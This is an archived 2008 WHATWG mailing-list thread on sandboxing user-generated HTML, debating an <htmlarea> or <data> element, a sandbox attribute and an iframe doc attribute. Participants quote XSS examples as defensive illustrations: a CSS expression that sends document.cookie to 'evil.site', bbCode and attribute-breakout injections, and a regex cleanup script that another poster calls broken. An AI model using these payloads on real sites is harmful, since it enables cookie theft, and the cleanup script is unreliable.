A major challenge for many web developers is validating "untrusted" content
such as the message body of a blog comment. Unless the developer has a
flawless and future proof algorithm for ensuring that the message body does
not contain any script, web developers have to resort to text only - or
bbCode-style markup languages to allow users to post text content with
richer formatting. If the developer wants to enable rich formatting using
bbCode, it also needs fairly advanced methods of ensuring that no scripts
are executed. Consider this bbCode example:
[img]some_image.jpg'onmouseover=maliciousScript()[/img]. The bbCode parser
must ensure that there is absolutely no method of injecting scripts in user
posts - and that is very difficult when at the same time there exists
parsing errors in browsers. The example could easily be validating by not
allowing apostrophes or quotation marks in urls - but then we have multiple
entities that could be used: &apos; or &#39;. To make matters worse, some
browsers parse &#39 which is an incomplete html entity and all these
variations must be considered by the bbCode parser author.

Another problem which makes future proofing this type of security is that
standards evolve. A few years ago you could safely allow users to apply
css-styles to tags. Example bbCode tag [color=blue]Blue text[/color] would
be translated to <span style='color: blue'>Blue text</span>. In this example
an exploit could be [color=expression(maliciousCode())]Text[/color]. When
the algorithm was made, it was considered secure, since no script could ever
be executed inside a style attribute. With the invention of expressions and
behaviours etc the knowledge required by web developers are ever increasing,
and web developers have to review all old code whenever new technologies
emerge - because what once was secure suddenly is not secure anymore.


One solution:

<htmlarea>User generated content</htmlarea>


No scripts would ever be allowed to be executed inside this tag. Malicious
users could potentially submit "</htmlarea> unsafe content <htmlarea>" and
get around this. There are as I can see it two solutions to this:

User generated content inside the tag must be escaped using html entities
(but still rendered as html by the user agent), or the author must prevent
users from submitting the string "</htmlarea>" and all possible variations
of the tag.

If the first solution is used, then browsers should display a
strong security warning if unescaped content is seen between htmlarea-tags
on a website (to educated web developers).


A sidenote: The tag name I chose is based on the <textarea>-tags which
should also be entity escaped to prevent users from inserting the text
</textarea>.  This currently breaks a lot of web pages - so perhaps a strong
security warning is in place if unescaped content is found after the
textarea start tag also?


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/a38ade1f/attachment.htm>

From andy at entai.co.uk  Mon Jun 16 21:28:51 2008
From: andy at entai.co.uk (Andrew Sidwell)
Date: Tue, 17 Jun 2008 05:28:51 +0100
Subject: [whatwg] [editorial] Tokeniser "tag name" state order
Message-ID: <48573D83.7090604@entai.co.uk>

http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenisation.html#tag-name0

The "tag name" state has the "EOF" entry in a weird place -- in other
states, "EOF" comes before "Anything else", but in this one it comes
between "U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL
LETTER Z" and "U+002F SOLIDUS (/)".  Putting it in the same place as it
is in other states would be nice.

A



From frode at seria.no  Tue Jun 17 03:43:32 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 12:43:32 +0200
Subject: [whatwg] Restricting style inheritance
Message-ID: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>

I am unsure if this applies to HTML (or rather CSS). From the archives I see
that Dean Edwards proposed some <reset></reset> element that was supposed to
reset styles to the page default style. I have another proposal

<div style='inherit: nothing'></div>

This would effectively make everything inside the div have the browser
default stylesheet. Other values for the inherit css style could be:

<div style='inherit: font-weight font-family font-size;'></div>

e.g. any css attribute on a space separated list. This list should also
allow short hand attributes such as "background" and "font" but be expanded.
Note that this is a "white list approach" - which I think is far better than
the black list approach that we need to use today: style='line-height: 10px;
font-family: Arial' etc is a black list and not very maintainable.

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no
-Think about the environment. Do not print this e-mail unless you really
need to.
-Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/da047568/attachment.htm>

From annevk at opera.com  Tue Jun 17 04:42:59 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Tue, 17 Jun 2008 13:42:59 +0200
Subject: [whatwg] Restricting style inheritance
In-Reply-To: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>
References: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>
Message-ID: <op.ucv5hxgf64w2qv@annevk-t60.oslo.opera.com>

On Tue, 17 Jun 2008 12:43:32 +0200, Frode B?rli <frode at seria.no> wrote:
> I am unsure if this applies to HTML (or rather CSS). From the archives I  
> see that Dean Edwards proposed some <reset></reset> element that was  
> supposed to reset styles to the page default style. I have another  
> proposal
>
> <div style='inherit: nothing'></div>

That would be CSS. I suggest you subscribe to the www-style at w3.org mailing  
list and give your feedback there.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From annevk at opera.com  Tue Jun 17 04:50:57 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Tue, 17 Jun 2008 13:50:57 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
Message-ID: <op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>

On Tue, 17 Jun 2008 06:09:55 +0200, Frode B?rli <frode at seria.no> wrote:
> Hi! I am a new member of this mailing list, and I wish to contribute  
> with a couple of specific requirements that I believe should be  
> discussed and
> perhaps implemented in the final specification. I am unsure if this is  
> the correct place to post my ideas (or if my ideas are even new), but if  
> it is not, then I am sure somebody will instruct me. :) One person told  
> me that
> the specification was finished and no new features would be added from  
> now on - but hopefully that is not true.

That is actually true. However, sandboxing has been proposed in the past  
and is therefore still considered in scope. (Unless of course we decide  
it's out of scope, but given the sandboxing features already in the  
specification, I expect that to be not the case.)


> One solution:
>
> <htmlarea>User generated content</htmlarea>

As you note this solution has significant issues. Besides inserting  
</htmlarea> it would also allow execution of scripts in legacy user agents  
and is therefore not really backwards compatible.

I believe the idea to deal with this is to add another attribute to  
<iframe>, besides sandbox="" and seamless="" we already have for  
sandboxing. This attribute, doc="", would take a string of markup where  
you would only need to escape the quotation character used (so either ' or  
"). The fallback for legacy user agents would be the src="" attribute.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From frode at seria.no  Tue Jun 17 06:05:09 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 15:05:09 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>

I have been reading up on past discussions on sandboxing content, and
I feel that it is generally agreed on that there should be some
mechanism for marking content as "user generated". The discussion
mainly appears to be focused on implementation. Please read my
implementation notes at the end of this message on how we can include
this function safely for both HTML 4 and HTML 5 browsers, and still
allow HTML 4 browsers to function properly.


My main arguments for having this feature (in one form or another) in
the browser is:

- It is future proof. Changes to browsers (for example adding
expression support to css) will never again require old sanitizers to
be updated.
- It does not require much skill and effort from the web developer to
safely sanitize user content.
- Security bugs are fixed by browser vendors, and not by each web developer.


In the discussions I find that backward compatability is absolutely
the most important issue. Second is that it must be easy for web
developers to use the features.

The suggested solution of using an attribute on an <iframe> element
for storing the user generated content has several problems;

1: The use of src= as a fallback means that style information will be
lost and stylesheets must be loaded again.

2: The use of src= yields problems with iframe heights (since the
src-url must be hosted on another server javascript cannot fix this)
and HTML 4 browsers have no other method of adjusting the iframe
height according to the content.

3: If you have a page that lists 60 comments on a blog, then the user
agent would have to contact the server 60 times to fetch each comment.
This again means that perl/php scripts have to be invoked 60 times for
one page view - that is 61 separate database connections and session
initializations.

4: For the fallback method of using src= for HTML 4 browsers to
actually work, the fallback documents must be hosted on a separate
domain name. This again means that a website using HTTPS must purchase
and maintain two certificates.

I do not believe this solution will ever be used.


My solution:

If we add a new element <htmlarea></htmlarea>, old browsers will run
scripts, while new browsers will stop scripts and this is a major
problem.

If HTML 5 browsers require everything between <htmlarea></htmlarea> to
be html entity escaped, that is < and > must be replaced with &lt; and
&gt; respectively. If this is not done, HTML 5 browsers will issue a
severe warning and refuse to display the page. Developers will quickly
learn.

HTML 4 browsers will never run scripts (since it will only see plain
text). HTML 5 browsers will display rich text. It would be completely
secure for both HTML 4 and HTML 5 browsers.

A simple Javascript could clean up the HTML markup for HTML 4 browsers..


>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From giecrilj at stegny.2a.pl  Tue Jun 17 09:18:55 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 17 Jun 2008 18:18:55 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
Message-ID: <C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>

1.  Please elaborate how an extension of CSS would require a sanitizer
update.
2.  Please explain why using a dedicated tag with double parsing is easier
for a Web developer than putting the code in an attribute.
3.  Your quoting solution would not cause legacy browsers to show plain
text; they would show HTML code, which is probably much worse than showing
plain text.  If you mean JavaScript can be used to extract plain text, I
doubt it will be simple; there are probably lots of junctions where this
procedure can derail.
4.  Please explain why you consider network efficiency for legacy user
agents essential.  I believe that the correlation between efficiency and
compatibility is negative in general.  If that causes server overload, the
server can discriminate content depending on the user agent; this is a
temporary solution to an edge case and it should probably be acceptable.
Besides, a blog page with 60 comments on it is rather hard to render and
read so you should probably consider other display options in this case.
5.  I am not sure why IFRAME content must be HTTP-secured if the containing
page is.  The specification does not impose such a restriction AFAIK.  And,
if you need to go secure, do not allow scribbling in the first place, right?
Please take these points as a challenge, not as an attempt to let you down.
I personally think your idea is worth considering.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 17, 2008 3:05 PM
To: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

I have been reading up on past discussions on sandboxing content, and
I feel that it is generally agreed on that there should be some
mechanism for marking content as "user generated". The discussion
mainly appears to be focused on implementation. Please read my
implementation notes at the end of this message on how we can include
this function safely for both HTML 4 and HTML 5 browsers, and still
allow HTML 4 browsers to function properly.


My main arguments for having this feature (in one form or another) in
the browser is:

- It is future proof. Changes to browsers (for example adding
expression support to css) will never again require old sanitizers to
be updated.
- It does not require much skill and effort from the web developer to
safely sanitize user content.
- Security bugs are fixed by browser vendors, and not by each web developer.


In the discussions I find that backward compatability is absolutely
the most important issue. Second is that it must be easy for web
developers to use the features.

The suggested solution of using an attribute on an <iframe> element
for storing the user generated content has several problems;

1: The use of src= as a fallback means that style information will be
lost and stylesheets must be loaded again.

2: The use of src= yields problems with iframe heights (since the
src-url must be hosted on another server javascript cannot fix this)
and HTML 4 browsers have no other method of adjusting the iframe
height according to the content.

3: If you have a page that lists 60 comments on a blog, then the user
agent would have to contact the server 60 times to fetch each comment.
This again means that perl/php scripts have to be invoked 60 times for
one page view - that is 61 separate database connections and session
initializations.

4: For the fallback method of using src= for HTML 4 browsers to
actually work, the fallback documents must be hosted on a separate
domain name. This again means that a website using HTTPS must purchase
and maintain two certificates.

I do not believe this solution will ever be used.


My solution:

If we add a new element <htmlarea></htmlarea>, old browsers will run
scripts, while new browsers will stop scripts and this is a major
problem.

If HTML 5 browsers require everything between <htmlarea></htmlarea> to
be html entity escaped, that is < and > must be replaced with &lt; and
&gt; respectively. If this is not done, HTML 5 browsers will issue a
severe warning and refuse to display the page. Developers will quickly
learn.

HTML 4 browsers will never run scripts (since it will only see plain
text). HTML 5 browsers will display rich text. It would be completely
secure for both HTML 4 and HTML 5 browsers.

A simple Javascript could clean up the HTML markup for HTML 4 browsers..


>  I believe the idea to deal with this is to add another attribute to
<iframe>, besides sandbox="" and seamless="" we already have for sandboxing.
This attribute, doc="", would take a string of markup where you would only
need to escape the quotation character used (so either ' or "). The fallback
for legacy user agents would be the src="" attribute.

-- 
Best regards / Med vennlig hilsen
Frode Borli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk miljo. Ikke skriv ut denne e-posten dersom det ikke er nodvendig.



From bobauger at gmail.com  Tue Jun 17 09:53:20 2008
From: bobauger at gmail.com (Bob Auger)
Date: Tue, 17 Jun 2008 09:53:20 -0700
Subject: [whatwg] Sandboxing to accommodate user generated content.
Message-ID: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>

Hello,

I'm new to the list and have joined in response to this discussion on
html security changes.

>>I have been reading up on past discussions on sandboxing content, and I feel that it is generally agreed on that there should be some mechanism for marking content as "user
>>generated". The discussion mainly appears to be focused on implementation. Please read my implementation notes at the end of this message on how we can include this
>>function safely for both HTML 4 and HTML 5 browsers, and still allow HTML 4 browsers to function properly.
>>
>>
>> In the discussions I find that backward compatability is absolutely the most important issue. Second is that it must be easy for web developers to use the features.
>>
>> The suggested solution of using an attribute on an <iframe> element for storing the user generated content has several problems;
>>
>> 1: The use of src= as a fallback means that style information will be lost and stylesheets must be loaded again.
>>
>> 2: The use of src= yields problems with iframe heights (since the src-url must be hosted on another server javascript cannot fix this) and HTML 4 browsers have no other method of
>> adjusting the iframe height according to the content.
>>
>> My solution:

>> If we add a new element <htmlarea></htmlarea>, old browsers will run scripts, while new browsers will stop scripts and this is a major problem.
>>
>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to be html entity escaped, that is < and > must be replaced with &lt; and &gt; respectively. If this is not
>> done, HTML 5 browsers will issue a severe warning and refuse to display the page. Developers will quickly learn.
>>
>> HTML 4 browsers will never run scripts (since it will only see plain text). HTML 5 browsers will display rich text. It would be completely secure for both HTML 4 and HTML 5
>> browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..

I've also been having side discussions with a few people regarding the
ability for a website owner to mark sections as data rather than code
(where everything lies now).
Your <htmlarea> tag idea is a good one (maybe change the tag to <data>
just a nitpick) however you don't address the use case of the
following

<data>

<user supplied input>

</data>

If the user injects </data> then game over.  A solution I discovered
for this problem (others I'm sure as well that aren't speaking)
borrows from the defenses of cross-site request forgery (CSRF) where a
non guessable token is used. Take the following example

<data id="GUID">
</data>
</data id="<GUID>">

GUID would be a temporary GUID value such as
'F9968C5E-CEB2-4faa-B6BF-329BF39FA1E4' that would be tied to the user
session. An attacker would be unable to break out of a <data> tag due
to the fact that they couldn't guess the closing ID value. This is
something that could be built into a web framework (JSP tag/PHP
function/asp.net component) that could handle the token generation
portion to assist with adoption.

A few notes on this approach

- <data> (or <htmlarea> whatever you call it) can not be nested.
- All content inside data tags would need to be treated as text or
handled as HTML entity encoded values before processing


>>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take
>> a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.


To take this a step further there may be situations where user content
is reflected inside of HTML tags in the following manner such as
'<a href="<user generated value">foo</a>'. For situations like this an
additional attribute (along the lines of what you propose) could be
added to this tag (or any tag for that matter)
to instruct the browser that no script/html can execute.

<a sandbox="true"  href="javascript:alert(document.cookie")>asd</a>
<a sandbox="true" href="<injected value>">asd</a>  (injected value  "
onload="javascript:alert('wooot')" foo="bar)

In this example the developer would allow user content to be inserted
into the href value as desired, however disallow script injection as
well as breaking out of the html attribute by the specification of
this tag (i.e. everything inside each attribute is treated as HTML
entity data/text).

My 0.04.

Regards,
- Robert Auger
http://www.webappsec.org/


From frode at seria.no  Tue Jun 17 10:45:06 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 19:45:06 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>
References: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>
Message-ID: <31fb000f0806171045ied3a8e9t1d0d222c59ef0f66@mail.gmail.com>

> I've also been having side discussions with a few people regarding the
> ability for a website owner to mark sections as data rather than code
> (where everything lies now).
> Your <htmlarea> tag idea is a good one (maybe change the tag to <data>
> just a nitpick) however you don't address the use case of the
> following
>
> <data>
>
> <user supplied input>
>
> </data>


I have considered your idea (below) but found that it would not allow
efficient server side caching, which often is needed. If instead all
html inside <data></data> must be escaped like this:

<data>

&lt;user supplied input&gt;

</data>

Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
browsers will display html, while HTML 5 browsers will display
correctly formatted code. A simple javascript like this (untested)
would make the data tags readable for HTML 4 browsers:

var els = document.getElementsByTagName("DATA");
for(e in els) els[e].innerHTML =
els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
"<br>");


A problem with this approach is that developers might forget to escape
tags, therefore I think browsers should display a security warning
message if the character < or > is encountered inside a <data> tag.


> If the user injects </data> then game over.  A solution I discovered
> for this problem (others I'm sure as well that aren't speaking)
> borrows from the defenses of cross-site request forgery (CSRF) where a
> non guessable token is used. Take the following example
>
> <data id="GUID">
> </data>
> </data id="<GUID>">
>
> GUID would be a temporary GUID value such as
> 'F9968C5E-CEB2-4faa-B6BF-329BF39FA1E4' that would be tied to the user
> session. An attacker would be unable to break out of a <data> tag due
> to the fact that they couldn't guess the closing ID value. This is

*snip*


>>>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take
>>> a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.
>
> To take this a step further there may be situations where user content
> is reflected inside of HTML tags in the following manner such as
> '<a href="<user generated value">foo</a>'. For situations like this an
> additional attribute (along the lines of what you propose) could be
> added to this tag (or any tag for that matter)
> to instruct the browser that no script/html can execute.
>
> <a sandbox="true"  href="javascript:alert(document.cookie")>asd</a>
> <a sandbox="true" href="<injected value>">asd</a>  (injected value  "
> onload="javascript:alert('wooot')" foo="bar)


I like this better than a separate tag yes. <div sandbox="1"></div> or
<div content="untrusted"></div>


From frode at seria.no  Tue Jun 17 11:33:33 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 20:33:33 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
Message-ID: <31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>

> 1.  Please elaborate how an extension of CSS would require a sanitizer
> update.

In the year 1998: A sanitizer algorithm works perfectly for all
existing methods of adding scripts. It uses a white list, which allows
only certain tags and attributes. Among the allowed attributes is
colspan, rowspan and style - since the web developer wants users to be
able to build tables and style them properly.

In the year 1999 Internet Explorer 5.0 is introduced, and it
introduces a new invention; CSS-expressions. Suddenly the formerly
secure webapplication is no longer secure. A user adds the following
code, and it passes the sanitizer easily:

<span style='color: blue; width: expression(document.write("<img
src=http://evil.site/"+document.cookie));'></span>

I am absolutely certain that there will be other, brilliant inventions
in the future which will break sanitizers - ofcourse we can't know
which inventions today - but the sandboxing means that browser vendors
in the future can prevent the above scenario.

> 2.  Please explain why using a dedicated tag with double parsing is easier
> for a Web developer than putting the code in an attribute.

1. The code will still work in Dreamwaver and similar tools.
2. It is not a totally new way of doing things (we already escape
content that are put into <textarea> in the exact same way as I
suggest we put content into the sandbox). Putting a 100 KB piece of
user submitted content into an attribute will feel weird - and perhaps
even break current parsers.
3. Web developers do not have to create seperate scripts to cater for
HTML 4 browser (so that the <iframe src=> fallback will work).
4. Web developers do not have to create two separate websites (on
different domains) that use the same database to make sure that cross
site scripting can't happen from the iframe to the parent document. If
the web developer simply place a separate script on the same host -
then the fallback will have no security at all.
5. The fallback requires the web developer to know the visible size of
the content in advance. HTML 4 browsers do not support any methods of
resizing the <iframe> according to the content, when the content of
the iframe is from a different domain.


> 3.  Your quoting solution would not cause legacy browsers to show plain
> text; they would show HTML code, which is probably much worse than showing
> plain text.  If you mean JavaScript can be used to extract plain text, I
> doubt it will be simple; there are probably lots of junctions where this
> procedure can derail.

I am pretty sure that including a small script similar to this into
the main document will make the content very readable, although plain
text:

<script>
var els = document.getElementsByTagName("DATA");
for(e in els) els[e].innerHTML =
els[e].innerHTML.replace(/<&#91;^>&#93;*>/g,
"").replace(/\n/g,"<br>");
</script>

I can guarantee you that a few hours work I have a very good script
that does this very well.

> 4.  Please explain why you consider network efficiency for legacy user
> agents essential.  I believe that the correlation between efficiency and
> compatibility is negative in general.

It is not the network efficiency for the user agens I am worried about
- it is the server side of things that will be the problem. If  the
server has to do handle 20 separate dynamic requests just to display a
single page view then that is unacceptable - and the method will never
be used by bigger websites simply because it is not scalable. In fact,
it would have already been done if it was a viable option. Please
consider my answer to your question number two as well.

> If that causes server overload, the
> server can discriminate content depending on the user agent; this is a
> temporary solution to an edge case and it should probably be acceptable.

That is unacceptable. Major websites must accommodate at least 98 % of
its user base at any time, and to promote user agent checking on the
server side is a major issue for me, and most likely for most other
web developers that work on a per project basis. It would require me
to review already launched sites regularly and is hardly efficient use
of my labour.

> Besides, a blog page with 60 comments on it is rather hard to render and
> read so you should probably consider other display options in this case.

I am extremely against making assumptions such as "a blog page with 60
comments on is rather hard to read" so it will never be a problem. I
prefer scrolling before clicking "next page" any time. If there is a
choice to display 100 comments instead of 10 then I select 100
comments. Also user generated content might be single line comments,
or even just a list of single words.

> 5.  I am not sure why IFRAME content must be HTTP-secured if the containing
> page is.  The specification does not impose such a restriction AFAIK.  And,
> if you need to go secure, do not allow scribbling in the first place, right?

1. An insecure iframe in a secure document will give you security
warnings from the browser (There are insecure elements on this page,
do you want to display them?).
2. Mixing secure and insecure communications makes having the secure
channel pointless.
3. It is extremely dangerous to assume that nobody in the future will
ever need to have secure communications with user generated content.



Best regards, Frode B?rli - Seria.no

From lachlan.hunt at lachy.id.au  Tue Jun 17 13:11:32 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Tue, 17 Jun 2008 22:11:32 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
Message-ID: <48581A74.4030707@lachy.id.au>

Frode B?rli wrote:
> I have been reading up on past discussions on sandboxing content, and
> I feel that it is generally agreed on that there should be some
> mechanism for marking content as "user generated". The discussion
> mainly appears to be focused on implementation. Please read my
> implementation notes at the end of this message on how we can include
> this function safely for both HTML 4 and HTML 5 browsers, and still
> allow HTML 4 browsers to function properly.
> 
> My main arguments for having this feature (in one form or another) in
> the browser is:
> 
> - It is future proof. Changes to browsers (for example adding
> expression support to css) will never again require old sanitizers to
> be updated.

If the sanitiser uses a whitelist based approach that forbids everything 
by default, and then only allows known elements and attributes; and in 
the case of the style attribute, known properties and values that are 
safe, then that would also be the case.

> - It does not require much skill and effort from the web developer to
> safely sanitize user content.
> - Security bugs are fixed by browser vendors, and not by each web developer.

Note that sandboxing doesn't entirely remove the need for sanitising 
user generated content on the server, it's just an extra line of defence 
in case something slips through.

> The suggested solution of using an attribute on an <iframe> element
> for storing the user generated content has several problems;
> 
> 1: The use of src= as a fallback means that style information will be
> lost and stylesheets must be loaded again.

This is not a major problem.  If it uses the same stylesheet, which can 
be cached by the browser, then at worst it results in a 304 Not Modified 
response.

> 2: The use of src= yields problems with iframe heights (since the
> src-url must be hosted on another server javascript cannot fix this)
> and HTML 4 browsers have no other method of adjusting the iframe
> height according to the content.

In recent browsers that support cross-document messaging (Opera 9, 
Safari 3, Firefox 3 and IE 8), you could include a script within the 
comment page that calculates its own height and sends a message to the 
parent page with the info.  In older browsers, just set the height to a 
reasonable minimum and let the user scroll.  Sure, it's not perfect, but 
it's called graceul degradation.

> 3: If you have a page that lists 60 comments on a blog, then the user
> agent would have to contact the server 60 times to fetch each comment.
> This again means that perl/php scripts have to be invoked 60 times for
> one page view - that is 61 separate database connections and session
> initializations.

You could always concatenate all of the comments into a single file, 
reducing it down to 1 request.

> 4: For the fallback method of using src= for HTML 4 browsers to
> actually work, the fallback documents must be hosted on a separate
> domain name. This again means that a website using HTTPS must purchase
> and maintain two certificates.

I don't see that as a show stopper.

> My solution:
> 
> If we add a new element <htmlarea></htmlarea>, old browsers will run
> scripts, while new browsers will stop scripts and this is a major
> problem.
> 
> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
> be html entity escaped, that is < and > must be replaced with &lt; and
> &gt; respectively. If this is not done, HTML 5 browsers will issue a
> severe warning and refuse to display the page. Developers will quickly
> learn.

Draconian error handling is something we really want to avoid, 
particularly when the such an error can be triggered by failing to 
handle user generated content properly.

> HTML 4 browsers will never run scripts (since it will only see plain
> text). HTML 5 browsers will display rich text. It would be completely
> secure for both HTML 4 and HTML 5 browsers.
> 
> A simple Javascript could clean up the HTML markup for HTML 4 browsers..

In a separate mail, you wrote:
> <data>
> 
> &lt;user supplied input&gt;
> 
> </data>
> 
> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
> browsers will display html, while HTML 5 browsers will display
> correctly formatted code. A simple javascript like this (untested)
> would make the data tags readable for HTML 4 browsers:
> 
> var els = document.getElementsByTagName("DATA");
> for(e in els) els[e].innerHTML =
> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
> "<br>");

At first, I had no idea what that script was trying to do.  But AFAICT, 
you were trying to use this regex: /<[^>]*>/g, which would theoretically 
match "<foo>".  But, in this context, even with the corrected regex, the 
script is entirely useless.

It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also 
because the inner HTML that you're running the regex on is supposed to 
have all < and > escaped, and so nothing would be matched anyway.

> A problem with this approach is that developers might forget to escape
> tags, therefore I think browsers should display a security warning
> message if the character < or > is encountered inside a <data> tag.

If a developer forgot to escape the markup at all, then a user could 
enter "</data><script>...</script>" and do anything they wanted.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From giecrilj at stegny.2a.pl  Tue Jun 17 14:36:23 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 17 Jun 2008 23:36:23 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
	<31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
Message-ID: <071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>

This particular explanation is irrelevant to the topic because sandboxed
fragments can contain scripts, whether within CSS or not.  The idea of
sandboxing is to disable scripts, not to purge them.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 17, 2008 8:34 PM
To: Kristof Zelechovski
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

